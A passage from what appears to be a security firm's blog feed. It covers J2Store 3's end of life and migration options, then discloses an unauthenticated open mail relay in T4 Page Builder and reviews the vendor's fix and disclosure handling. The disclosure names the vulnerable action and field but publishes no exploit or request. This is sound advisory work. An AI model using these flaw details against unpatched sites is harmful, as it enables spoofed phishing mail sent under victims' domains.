&lt;p&gt;&lt;a href=&quot;https://www.j2commerce.com/j2commerce-6&quot;&gt;J2Commerce 6&lt;/a&gt;, the current line, is a rewrite rather than an upgrade. No FOF, native Joomla 6 code, &lt;a href=&quot;https://docs.j2commerce.com/v6/getting-started/technical-requirements&quot;&gt;PHP 8.3 minimum&lt;/a&gt;, and the vendor is explicit that it does not run on Joomla 4 or Joomla 5. Reaching it from J2Store 3 means two CMS jumps and two data migrations, because the direct J2Store 3 to J2Commerce 6 tool the announcement mentions is still in development. The &lt;a href=&quot;https://docs.j2commerce.com/v6/migration-tools/plg_j2commercemigrator_j2commerce4&quot;&gt;shipped migrators for J2Commerce 6&lt;/a&gt; come from J2Commerce 4, eShop, Shopware 6, VirtueMart 3 and WooCommerce, not from J2Store 3.&lt;/p&gt;
&lt;p&gt;None of that is an argument for staying put, but it is an argument for aiming at Joomla 6 and J2Commerce 6 as the destination and treating J2Store 4 as a staging post you pass through, rather than budgeting for the halfway house and discovering the second half a year later.&lt;/p&gt;
&lt;h2&gt;The shop is the hard case in a Joomla 3 migration&lt;/h2&gt;
&lt;p&gt;There is a reason these particular sites are still on Joomla 3 when the brochure sites moved years ago, and it is not neglect.&lt;/p&gt;
&lt;p&gt;A shop has checkout, payment gateway credentials, shipping rules, tax rules, coupon history and years of order records that somebody may need to produce for an accountant. It usually has template overrides written against the old markup, and often a third-party payment or shipping plugin whose vendor is less responsive than J2Commerce. Testing it properly means putting a real card through a real gateway on a staging copy and then doing it again after cutover. That is a week of somebody’s attention, not an afternoon, and it needs a maintenance window on a site that takes money.&lt;/p&gt;
&lt;p&gt;So the shop is the last thing an agency migrates, and it is the site that slips from one quarter’s plan to the next without anyone ever deciding that it should. The deadline does not care about any of that, which is the uncomfortable part of writing it down.&lt;/p&gt;
&lt;p&gt;The vendor’s own &lt;a href=&quot;https://docs.j2commerce.com/migration-from-j2store-3-to-4&quot;&gt;pre-migration checklist&lt;/a&gt; is short and worth following exactly: take a full backup first, run the migration on a staging copy rather than the live store, audit template overrides and any third-party checkout or cart add-ons for compatibility, confirm the host meets the PHP and Joomla requirements for the version you are targeting, move through the documented path rather than skipping versions, and test checkout, shipping and payment end to end before cutting over.&lt;/p&gt;
&lt;p&gt;One thing their checklist does not mention: J2Commerce is &lt;a href=&quot;https://www.j2commerce.com/blog/add-ons-to-j2commerce-are-moving-heres-whats-changing-and-why&quot;&gt;moving nearly 200 add-ons from free downloads back to paid subscriptions&lt;/a&gt;. If your shop depends on add-ons that arrived free, price that in before you commit to a date.&lt;/p&gt;
&lt;h2&gt;What about the other Joomla shop extensions?&lt;/h2&gt;
&lt;p&gt;The obvious alternative to migrating J2Store is switching cart entirely, and it is worth being honest about what that buys.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.hikashop.com/download.html&quot;&gt;HikaShop&lt;/a&gt; still ships Joomla 3 builds. Its current release came out in August 2026 and its download page still lists Joomla 3, with &lt;a href=&quot;https://joomla3security.com/vendors/hikashop/&quot;&gt;no end-of-life statement anywhere&lt;/a&gt;. &lt;a href=&quot;https://virtuemart.net/&quot;&gt;VirtueMart&lt;/a&gt; is &lt;a href=&quot;https://joomla3security.com/vendors/virtuemart/&quot;&gt;the strongest Joomla 3 commitment in the market&lt;/a&gt;: its update feed still declares support for Joomla 3.0 through 3.10, and the vendor has said the next major version will run on everything from Joomla 3 to Joomla 6. VirtueMart is, however, currently unpublished from the Joomla Extensions Directory pending a review, which is its own kind of signal.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.phoca.cz/phocacart&quot;&gt;Phoca Cart&lt;/a&gt; is the instructive one. Its last Joomla 3 stable release was 3.5.8, in October 2021. When it &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/&quot;&gt;shipped security releases in August 2026&lt;/a&gt;, they went to the Joomla 4, 5 and 6 branches with no Joomla 3 equivalent, and its product page still advertises Joomla 3 support today. The &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-6-1-9-download-idor/&quot;&gt;October 2026 fix for a paid-download flaw&lt;/a&gt; narrowed that again, reaching the Joomla 6 line only. There is no announcement to find, no date to plan around, and a shop owner reading the requirements would reasonably conclude they were covered.&lt;/p&gt;
&lt;p&gt;Set against that, J2Commerce publishing a hard date fourteen months ahead of the version it applies to is the better problem. And switching cart is a data migration with a checkout rebuild attached, so it is rarely cheaper than moving forward on the cart you already know. It is not automatically safer either: we found &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;three flaws in EasyStore&lt;/a&gt;, including order forgery, the last time we looked at a Joomla shop extension somebody was migrating to.&lt;/p&gt;
&lt;h2&gt;How do I find every J2Store 3 install across the sites I manage?&lt;/h2&gt;
&lt;p&gt;Doing this by hand means logging into each Joomla site, opening the extension manager and reading off a version number, which is slow enough that it gets deferred and then skipped.&lt;/p&gt;
&lt;p&gt;mySites.guru records the installed extension inventory for every connected site, so &lt;a href=&quot;https://manage.mysites.guru/en/extensions/&quot;&gt;searching the Extension Inventory in mySites.guru&lt;/a&gt; for J2Store returns every install with its version on a single screen, including the sites you had forgotten were running a shop at all.&lt;/p&gt;
&lt;p&gt;Nine &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerability rules&lt;/a&gt; for this extension are live, one per release branch across all three 2026 advisories, so an affected site is flagged with the fix version for the branch it is actually on rather than the highest number available. This numbering trap bites harder with J2Store than with most extensions: the current patched builds are 3.3.23, 4.0.23 and 4.1.8, and 4.1.8 sorts above the other two while being an entirely different release line that will not install on a Joomla 3 site. Any check that treats “below 4.1.8” as the rule will tell a correctly patched Joomla 3 shop that it is vulnerable.&lt;/p&gt;
&lt;p&gt;mySites.guru also &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;tracks end-of-life versions of Joomla and WordPress themselves&lt;/a&gt;, back to Joomla 1.5, so the sites with both problems at once are visible in one place rather than two.&lt;/p&gt;
&lt;h2&gt;What to do before 19 October&lt;/h2&gt;
&lt;p&gt;If you have J2Store 3 sites, the sequence that wastes the least time is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Get the update on before you plan anything.&lt;/strong&gt; Three quarters of the J2Store 3 installs we can see are below 3.3.21 and are missing seventeen fixed vulnerabilities, one of them already used in the wild. Installing 3.3.23 takes minutes and is worth doing today whether or not you migrate by October. Install the build for the branch each site is on, not the highest number you can find.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decide the destination.&lt;/strong&gt; Joomla 6 with J2Commerce 6 is the version with a future. J2Store 4 on Joomla 5 is a staging post with thirteen months on the clock and a bugfix deadline of its own six days before this one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Book the work as a project with a window.&lt;/strong&gt; Backup, staging copy, override audit, add-on compatibility check, host PHP check, end-to-end payment test, then cutover.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For the shops that will not make October, say so out loud.&lt;/strong&gt; A client who knows their shop is running unmaintained software and has agreed a date to fix it is in a completely different position from one who finds out afterwards.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If one of these shops turns out to be compromised, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; is a fixed fee of £120 per incident, usually same day, screened before we commit so you are not charged if it turns out not to be fixable. That is incident work and nothing else. Moving a J2Store 3 shop onto a supported line is a project many times that size, it is not something we sell, and anyone quoting you £120 to do it has not looked at your checkout.&lt;/p&gt;
&lt;h2&gt;J2Commerce did this properly&lt;/h2&gt;
&lt;p&gt;Two years of runway. A hard, public, dated announcement, published while the version being retired is still the one most of their own users run. Migration documentation shipped alongside every release since the takeover, not written the week of the announcement. All three security batches patched on the Joomla 3 branch the same day as the modern ones, when patching only the current branch would have been cheaper and would have stranded most of their install base. And advisories in August and September that named the reporter, which is still not a given.&lt;/p&gt;
&lt;p&gt;We have &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;documented thirty-odd vendor positions on Joomla 3&lt;/a&gt;, and the pattern is that the loudest announcements are the least reliable predictors of what a vendor actually does next. Vendors have announced the end of Joomla 3 support and then shipped Joomla 3 patches six days later. Others have said nothing at all for three years while shipping fixes anyway, or while stopping without a word. Against that spread, a dated roadmap with a stated policy behind it is the only version of this an agency can actually plan around.&lt;/p&gt;
&lt;p&gt;The uncomfortable part of this announcement sits on the other side of it, with the six in ten J2Store shops still on the line being retired, three quarters of which have not applied a security release since before the first of this year’s three advisories. For those sites the end-of-life date is not the moment the risk starts. It is the moment the last thing that was still working in their favour stops.&lt;/p&gt;
&lt;p&gt;One postscript, because it changes what you should watch for rather than what you should do. The extra J2Store 3 release we expected arrived on 15 September 2026 as 3.3.23, with six more fixes in it. Whether another follows before the hard cut-off on 19 October is still open, so take each one quickly as it arrives: a release that close to the end of a branch is the last chance that branch has to hand you anything. Taking it is still not a reason to let the migration slip.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2023-08-17&lt;/strong&gt; Joomla 3 reaches end of life The core stops receiving free security fixes. Paid Extended Long Term Support is the only route left, and it is a paid one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024-10-19&lt;/strong&gt; J2Commerce takes over J2Store Olivier Buisard and Adam Melcher take on the extension after the original team, led by Ramesh Elamathi, closed the project citing rising costs and falling revenue. J2Store 4 becomes the supported path from this point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-02-17&lt;/strong&gt; Joomla&apos;s paid eLTS programme ends The last Joomla 3 release of any kind was 3.10.20 on 7 January 2025. From this date there is no version of Joomla 3, at any price, receiving core security fixes from Joomla.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-19&lt;/strong&gt; J2Commerce 6 released A rewrite rather than an upgrade: native Joomla 6, no FOF, PHP 8.3 minimum. It does not run on Joomla 4 or 5, so it is not reachable from a Joomla 3 shop in one step.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-20&lt;/strong&gt; Six flaws fixed, one already used against real sites 3.3.21, 4.0.21 and 4.1.6. CVE-2026-67361, an unauthenticated file upload, has exploit maturity Attacked in its published CVSS vector, and the vendor confirmed it was exploited before the patch shipped. Joomla&apos;s own upload filter blocked PHP, so it did not become remote code execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; Five more flaws fixed, all reported by mySites.guru 3.3.22, 4.0.22 and 4.1.7, ten days after the previous batch. All three branches patched the same day. The five records published on 3 September and credit Phil Taylor, mysites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-03&lt;/strong&gt; J2Commerce announces the end of life date Two years of runway, one hard public date, and documented migration paths shipped alongside every release since the takeover.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; Six more flaws fixed, all reported by mySites.guru 3.3.23, 4.0.23 and 4.1.8, a third batch fifteen days after the second. All three branches patched the same day again. The worst is an unauthenticated blind SQL injection in the storefront product list, which the vendor scores 8.7 High.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-19&lt;/strong&gt; J2Store 3 end of life No security patches, no support, no further releases of any kind for the 3.x line.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2027-10-19&lt;/strong&gt; J2Store 4 end of life Timed by the vendor to around Joomla 7&apos;s release, though Joomla has not published a Joomla 7 date.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-five-security-flaws-disclosure/&quot;&gt;J2Store 3.3.22, 4.0.22 and 4.1.7 fix five flaws we reported&lt;/a&gt; - round one, the five vulnerabilities behind the 31 August release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-six-more-security-flaws-disclosure/&quot;&gt;Six more J2Store flaws fixed in 3.3.23, 4.0.23 and 4.1.8&lt;/a&gt; - round two, the six fixed on 15 September, including an anonymous SQL injection that reads a shop&apos;s whole database.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;Joomla 3 End of Life Was Never the Problem&lt;/a&gt; - why the version number was never the useful unit, and what the vendor spread actually looks like.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Migrating to modern Joomla when using mySites.guru&lt;/a&gt; - keeping sites connected through the Joomla 3 to Joomla 6 move.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Fix Joomla 3 security issues in one click&lt;/a&gt; - the core-side patches, which do nothing for an abandoned shop component.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.j2commerce.com/blog/j2store-3-reaches-end-of-life-on-october-19-2026&quot;&gt;J2Store 3 reaches end of life on October 19, 2026&lt;/a&gt; - the vendor&apos;s own announcement, with their migration links.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.j2commerce.com/migration-from-j2store-3-to-4&quot;&gt;Migration from J2Store 3 to 4&lt;/a&gt; - the documented upgrade, including the plugin disable and re-enable order.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/j2commerce/&quot;&gt;J2Commerce&apos;s Joomla 3 record&lt;/a&gt; - the J2Store 3 end-of-life statement and each Joomla 3 security release before it, with sources.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>j2store</category><category>end-of-life</category><category>security</category><category>ecommerce</category><category>migration</category><enclosure url="https://mysites.guru/img/og/blog/j2store-3-end-of-life.png" length="0" type="image/png"/></item><item><title>T4 Page Builder 2.3.0 Fixes an Unauthenticated Mail Relay</title><link>https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/</guid><description>JoomlArt&apos;s T4 Page Builder 2.3.0 closes an unauthenticated open mail relay we reported in August. A week on, five in six installs we see are still older.</description><pubDate>Thu, 03 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JoomlArt published T4 Page Builder 2.3.0 on 28 August 2026. It closes an unauthenticated open mail relay in the Joomla extension’s front-end contact endpoint, along with a missing CSRF token, absent rate limiting, and a live Mailchimp API key hardcoded into the shipped source. The relay is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78374/&quot;&gt;CVE-2026-78374&lt;/a&gt;, assigned by the Joomla CNA on 10 September at our request rather than the vendor’s. If you run T4 Page Builder on a public Joomla site, update it.&lt;/p&gt;
&lt;p&gt;We reported the flaw to JoomlArt on 17 August, having found it that afternoon on a client’s server while investigating abuse that was already under way. The fix is real, and we have read it rather than taking the changelog’s word for it: we audited the released 2.3.0 package on 3 September and all four issues are closed.&lt;/p&gt;
&lt;p&gt;One piece of housekeeping before anything else, because the two are easy to confuse. This is T4 Page Builder by JoomlArt, &lt;code&gt;com_t4pagebuilder&lt;/code&gt;. It is not SP Page Builder by JoomShaper, which had a mail relay of its own this summer under &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;CVE-2026-65879&lt;/a&gt;. Different vendor, different codebase, different bug. If you run both, both need attention.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update T4 Page Builder to 2.3.0 or later, then clear the Joomla cache and test every contact and subscription form on the site. JoomlArt’s own instructions are a manual download from the member area followed by an upload through System, Install, Extensions. Every version below 2.3.0 is affected, including the whole 1.x branch. If you cannot update today, unpublish any page with a T4 contact or subscription form on it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What T4 Page Builder 2.3.0 Fixes&lt;/h2&gt;
&lt;p&gt;The component exposes a front-end JSON endpoint that dispatches named actions. One of those actions, &lt;code&gt;contact&lt;/code&gt;, was exempted by design from the permission checks that guard the rest of the editor, so it was reachable by any anonymous visitor. That exemption is still there in 2.3.0, and it is fine now for reasons we will come to, but in 2.2.0 and earlier it opened onto an action that would send mail wherever it was told to.&lt;/p&gt;
&lt;p&gt;Four separate problems sat behind it:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Problem&lt;/th&gt;&lt;th&gt;Effect before 2.3.0&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Attacker-controlled recipient&lt;/td&gt;&lt;td&gt;The action read a &lt;code&gt;recipient&lt;/code&gt; field straight from the request and delivered to it, using the site’s configured &lt;code&gt;mailfrom&lt;/code&gt; and &lt;code&gt;fromname&lt;/code&gt;. The attacker chose the recipient, the subject and the HTML body.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;No CSRF token&lt;/td&gt;&lt;td&gt;No Joomla form token was required, so the request needed nothing but a URL and a body.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;No rate limiting&lt;/td&gt;&lt;td&gt;Nothing throttled the endpoint, so the same request could be sent in volume.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Hardcoded Mailchimp API key&lt;/td&gt;&lt;td&gt;A live API key sat in the component’s source, readable in every copy of the extension.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The subscribe task on the same endpoint had the same gap, which let unauthenticated requests write rows into a site’s AcyMailing subscription tables. We have written before about &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;unauthenticated AJAX and JSON endpoints being the CMS security blind spot they are&lt;/a&gt;, and this is a textbook instance: the ACL check existed, and one action was excused from it.&lt;/p&gt;
&lt;p&gt;We are not publishing the request shape, because most installs have not updated yet. The Joomla Extensions Directory takes the same line in &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about-security-releases/&quot;&gt;its own guidance to vendors&lt;/a&gt;, which says explicitly that it does not ask developers to give away vulnerability details and advises against it.&lt;/p&gt;
&lt;h2&gt;How Did a Joomla Contact Form Become an Open Mail Relay?&lt;/h2&gt;
&lt;p&gt;The damage is not that someone can email you through your own contact form. It is that they can email anyone else, and it arrives looking like you.&lt;/p&gt;
&lt;p&gt;Mail sent through that endpoint left the site using the sender identity configured in Joomla’s Global Configuration. On a properly set up site that means it went out with the domain’s SPF pass and its DKIM signature. To a receiving mail server it was authentic mail from the domain, because in every technical sense it was. An attacker got a free, authenticated, reputable sending platform, and the site owner got the consequences.&lt;/p&gt;
&lt;p&gt;Those consequences outlast the bug. Once a domain has been used to push phishing at scale it goes onto blocklists, and on shared hosting the sending IP takes every other site on the box down with it. We have written about &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;verifying that your Joomla site’s email actually works&lt;/a&gt; because deliverability is one of the most expensive things to break and one of the slowest to repair. An hour spent installing 2.3.0 is cheaper than a fortnight spent getting a domain delisted.&lt;/p&gt;
&lt;p&gt;The hardcoded API key is a smaller problem with a longer tail. A credential shipped inside a distributed extension is readable by everyone who has ever downloaded it, so it stops being secret the moment it ships. We have seen the same pattern in &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;a live Google Fonts API key hardcoded into Helix3&lt;/a&gt;. Removing it from the source is necessary, but it does not un-leak it, and the key should be rotated by whoever owns it.&lt;/p&gt;
&lt;h2&gt;Is the T4 Page Builder Fix Any Good?&lt;/h2&gt;
&lt;p&gt;Yes, and it is worth being specific about why, because the vendor’s own summary puts the emphasis in the wrong place.&lt;/p&gt;
&lt;p&gt;The release notes lead on CSRF protection. A Joomla form token is now required on the contact action:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Public endpoint - require a valid Joomla CSRF token (POST body or X-CSRF-Token header).&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;Session&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;checkToken&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;post&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;JINVALID_TOKEN&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On its own, that would not have closed the relay. Joomla hands a valid form token to any anonymous visitor who loads a page, so a script that fetches the page first and posts second has a token like everybody else. CSRF tokens stop a third-party site forging a request in a logged-in visitor’s browser, which is worth fixing on its own, but it was never the mechanism here, because the attacker was talking to the endpoint directly rather than borrowing anyone’s session.&lt;/p&gt;
&lt;p&gt;What actually kills the relay is one line further down, where the attacker’s recipient stops being used at all:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; self&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;sendEmail&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;getAdminMails&lt;/span&gt;&lt;span&gt;(), $subject, $emailContent, $fromName, $fromEmail);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;getAdminMails()&lt;/code&gt; returns two things and nothing else: the &lt;code&gt;mailfrom&lt;/code&gt; address from Global Configuration, and the first Super User’s email. The &lt;code&gt;recipient&lt;/code&gt; field is still parsed out of the request a few lines above, and the action still will not run without one, but it is never passed to the mail call. It is an untidy way to reach a correct answer, and the answer is correct: there is no longer any input that steers delivery.&lt;/p&gt;
&lt;p&gt;Behind that sits a new &lt;code&gt;RateLimitSecurity&lt;/code&gt; helper doing IP-based fixed-window limiting through Joomla’s cache, defaulting to five requests per ten minutes and configurable in the component parameters. Captcha validation is now explicit rather than inferred from whether a plugin happens to be enabled, and because T4 stores rendered pages statically, a &lt;code&gt;FormSecurity&lt;/code&gt; helper injects the captcha widget and the token into contact forms at render time. The Mailchimp key now comes from component parameters, and the old key is absent from the 2.3.0 package.&lt;/p&gt;
&lt;p&gt;That is defence in depth, built by someone who understood the report. Our only quibble is the one above: the announcement sells the weakest of the four fixes as the headline.&lt;/p&gt;
&lt;h2&gt;Which of Your Joomla Sites Still Run a Vulnerable Version?&lt;/h2&gt;
&lt;p&gt;This is where the story stops being about JoomlArt and starts being about everyone who has to act on it.&lt;/p&gt;
&lt;p&gt;A week after 2.3.0 shipped, here is what the T4 Page Builder installs on Joomla sites connected to mySites.guru looked like on 3 September 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Five in six were still running a version below 2.3.0.&lt;/li&gt;
&lt;li&gt;Roughly one in eight had updated.&lt;/li&gt;
&lt;li&gt;Nearly half were sitting on a single older release, 2.1.1.&lt;/li&gt;
&lt;li&gt;Another one in eight were still on the 1.x branch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T4 Page Builder is not on many of the sites we monitor, so read those as proportions of a small population rather than as a survey of the Joomla world. The shape is still the shape. Most people did not update, and the ones who did not are clustered on releases that are years of development behind.&lt;/p&gt;
&lt;p&gt;There is a plausible reason for the clustering, and it is not laziness. The Joomla Extensions Directory listing for T4 Page Builder still shows version 2.1.0, and the fix is a manual download from JoomlArt’s member area. Anyone who installed from the directory and has never had cause to log in to the member area has no signal at all that they are four releases behind, let alone that one of those releases was a security release.&lt;/p&gt;
&lt;p&gt;That gap is why our vulnerability tracking exists. mySites.guru keeps a live inventory of every extension on every connected Joomla and WordPress site, with the installed version on each, and flags any site running below a vendor’s fix. Our rule for T4 Page Builder below 2.3.0 was written from the vendor changelog and dated to the day of release, which means subscribers with an affected site were told on 28 August. JoomlArt got back to the person who reported the flaw on 3 September. That ordering is the problem rather than a boast: the detection had to be reverse-engineered from a changelog because no one was told directly.&lt;/p&gt;
&lt;p&gt;If you look after more than a handful of Joomla sites, the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site Joomla tooling&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; are the parts of the subscription that turn an announcement like this into a work list instead of an afternoon of logins. A &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;full site audit&lt;/a&gt; covers the other half of the question, which is whether anything reached the site before you got there.&lt;/p&gt;
&lt;h2&gt;The Ten Days Between the Acknowledgement and the Release&lt;/h2&gt;
&lt;p&gt;Start with what JoomlArt got right, because it is more than the ending suggests.&lt;/p&gt;
&lt;p&gt;When the report reached them, they were fast and they were serious. The Joomla Security Strike Team forwarded it at 11:01 on 18 August. JoomlArt replied at 11:11, ten minutes later, thanked us for the write-up, said they took it very seriously given that it was being actively exploited, and confirmed they were sending it straight to their dev team. A ten-minute acknowledgement is better than most vendors in this ecosystem manage, and the CERT guidance treats 24 to 48 hours as normal. Nine days later they shipped a complete, well-engineered fix. When they finally did reply on 3 September they apologised without being asked to, in plain terms: “We should have notified you directly as soon as the fix was released, rather than leaving you to follow up.”&lt;/p&gt;
&lt;p&gt;Now the rest of it.&lt;/p&gt;
&lt;p&gt;That report should never have needed the Strike Team. It went to JoomlArt’s published support address on the evening of 17 August and produced nothing. It only reached anyone because David Jardin forwarded it the following morning, noting in his own message that the reporter “tried to reach out to you before hand but had no luck”. JoomlArt’s reply acknowledged the same thing, apologising that “our previous contact attempts didn’t get through”. A reporting route that swallows an active-exploitation report without a word during an incident is a broken reporting route, and it is not hard to see why this one is fragile. JoomlArt publishes no &lt;code&gt;security.txt&lt;/code&gt;, no security policy page and no dedicated security contact. Their &lt;code&gt;/security&lt;/code&gt;, &lt;code&gt;/security-policy&lt;/code&gt;, &lt;code&gt;/report-security&lt;/code&gt; and &lt;code&gt;/responsible-disclosure&lt;/code&gt; paths all return 404. Their &lt;code&gt;/contact&lt;/code&gt; URL currently 301-redirects to &lt;code&gt;http://localhost/cw_2026/ja_mainsite/joomlart/contact-us&lt;/code&gt;, which is a developer’s machine, not a website.&lt;/p&gt;
&lt;p&gt;After 11:11 on 18 August there was silence. No initial assessment, no status update, no question about our test setup, no draft advisory, and no offer of a pre-release build to verify the fix against. The release went out on 28 August without a word to us. We learned it existed because we track vendor changelogs for a living, and we confirmed it worked by downloading the public package and reading it.&lt;/p&gt;
&lt;h2&gt;Measured Against Joomla’s Own Standard for Extension Developers&lt;/h2&gt;
&lt;p&gt;There is a reason to hold this to a written yardstick rather than to our own preferences. On 10 August 2026, one week before we reported this flaw, the Joomla project published &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty numbered rules for extension developers handling a security report&lt;/a&gt;, written by David Jardin in his capacity as Team Leader of the Joomla Security Strike Team, and merged into the official Joomla Manual the same day. It is documented best practice rather than an enforced requirement, and nothing checks compliance. But it is the Joomla project’s own answer to the question, and it existed before any of this happened.&lt;/p&gt;























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Rule&lt;/th&gt;&lt;th&gt;What it asks for&lt;/th&gt;&lt;th&gt;What happened&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1. Establish a clear reporting channel&lt;/td&gt;&lt;td&gt;A dedicated security contact, a &lt;code&gt;SECURITY.md&lt;/code&gt;, or a security page on the vendor site&lt;/td&gt;&lt;td&gt;None of the three exists. The direct report was never answered.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3. Acknowledge the reporter quickly&lt;/td&gt;&lt;td&gt;Receipt inside a business day, an initial assessment in three to five, regular updates during longer investigations&lt;/td&gt;&lt;td&gt;The acknowledgement was excellent. The assessment and the updates never came.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9. Coordinate a disclosure date&lt;/td&gt;&lt;td&gt;Agree a timeline, and accelerate substantially where a flaw is already exploited&lt;/td&gt;&lt;td&gt;No date was proposed or agreed. The release shipped unannounced to us.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11. Assign the CVE before disclosure&lt;/td&gt;&lt;td&gt;Request one from the Joomla CNA at &lt;code&gt;security@joomla.org&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Never requested by JoomlArt, whose release shipped without one. The Joomla CNA had been a 